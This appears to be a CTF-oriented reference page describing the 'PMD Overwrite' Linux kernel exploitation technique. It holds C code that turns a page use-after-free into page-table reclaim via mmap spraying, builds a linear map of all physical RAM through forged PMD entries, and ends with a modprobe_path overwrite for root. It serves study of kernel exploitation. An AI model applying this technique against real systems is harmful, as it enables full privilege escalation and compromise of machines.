PMD Overwrite

#pagespray#pmdoverwrite#arbitraryreadwrite
Vuln Classesuaf
Requiresuaf-full-page-primitivepage-table-reclaim
Givesarbitrary-physical-read-writekaslr-bypassroot-privileges

This section would be a quick brief on how to leverage a UAF on physical page to obtain arbitary read/write primitive on RAM. For more detailed walkthorugh, don’t hesitate to read https://frederik353.github.io/writeups/ctfs/0xfunctf-26/phantom/


Prereq bug pattern

  • Use after free

    Step 1

  • Trigger the UAF vulnerability and obtain a dangling pointer to full page

Step 2 — Reclaim freed page as a PMD page

Page tables come from the same Buddy Allocator (order-0), the same pool Linux SLUB Allocator pages get released back to once freed — see Dirty Page for the sibling technique that reclaims at the slab layer instead of a raw page UAF. Force PMD allocation by touching 1024 anonymous mappings spaced exactly 2MB apart (spans 2GB = 2 PMD pages):

#define SPRAY_BASE   0x40000000UL
#define SPRAY_STRIDE 0x200000UL   // 2MB — forces new PMD entry each time
for (i=0;i<1024;i++){
    void *a = (void*)(SPRAY_BASE + i*SPRAY_STRIDE);
    void *p = mmap(a, 0x1000, PROT_READ|PROT_WRITE,
                   MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
    if (p != MAP_FAILED) *(volatile uint64_t*)p = 0xCAFE0000UL + i; 
}

Then Verify reclaim (entries should no longer be 0x41…41, and look like valid PTE-page pointers: Present + User bits set):

int count=0;
for (i=0;i<512;i++){
    uint64_t v = uaf[i];
    if (v && v != 0x4141414141414141ULL && (v&1) && (v&4)) count++;
}
// count < 64 => retry whole exploit (prolly reclaimed as something else)

Small RAM (e.g. -m 256M) + LIFO free list = high probability our freed page is reused almost immediately as a page-table page.

Step 3

Corrupt entry 0 to a huge page mapping phys 0, flush TLB (getpid() = full flush), read known value back:

uint64_t saved = uaf[0];
uaf[0] = 0xE7;              // P|RW|US|A|D|PS, phys=0
getpid();                   // TLB flush
uint64_t probe = *(volatile uint64_t*)SPRAY_BASE;
uaf[0] = saved; getpid();
if (probe != 0xCAFE0000UL) virt_base = SPRAY_BASE; 
// else try SPRAY_BASE + 512*STRIDE

PMD huge-page entry format (x86-64)

bits 51:21 = physical base (2MB aligned)
bit 7 PS=1 present huge page
bit 6 D dirty      (pre-set to avoid HW RMW race)
bit 5 A accessed    (pre-set to avoid HW RMW race)
bit 2 U/S =1 user accessible (REQUIRED for userspace access)
bit 1 R/W =1 writable
bit 0 P   =1 present
=> value = phys_addr | 0xE7

1 PMD page = 512 entries = 512 * 2MB = 1GB VA coverage.

Step 4 — Build arbitrary phys R/W window

IMPORTANT (QEMU quirk): re-writing the SAME PMD slot repeatedly + TLB flush between each write can give stale reads (softmmu TLB invalidation timing bug). Fix: use a DIFFERENT PMD entry per physical chunk, single flush at the end.

uint64_t saved_pmds[MAX_CHUNKS];
for (chunk=0; chunk<MAX_CHUNKS; chunk++){       // MAX_CHUNKS = total_RAM / 2MB
    saved_pmds[chunk] = uaf[chunk];
    uaf[chunk] = ((uint64_t)chunk * 0x200000UL) | 0xE7;
}
getpid();  // one flush, now virt_base..virt_base+RAM_SIZE == linear map of all phys RAM

Restore afterward: write back saved_pmds[], getpid().

Step 5

  • Find modprobe_path
  • Overwrite modprobe_path
  • Trigger executing modprobe_path binary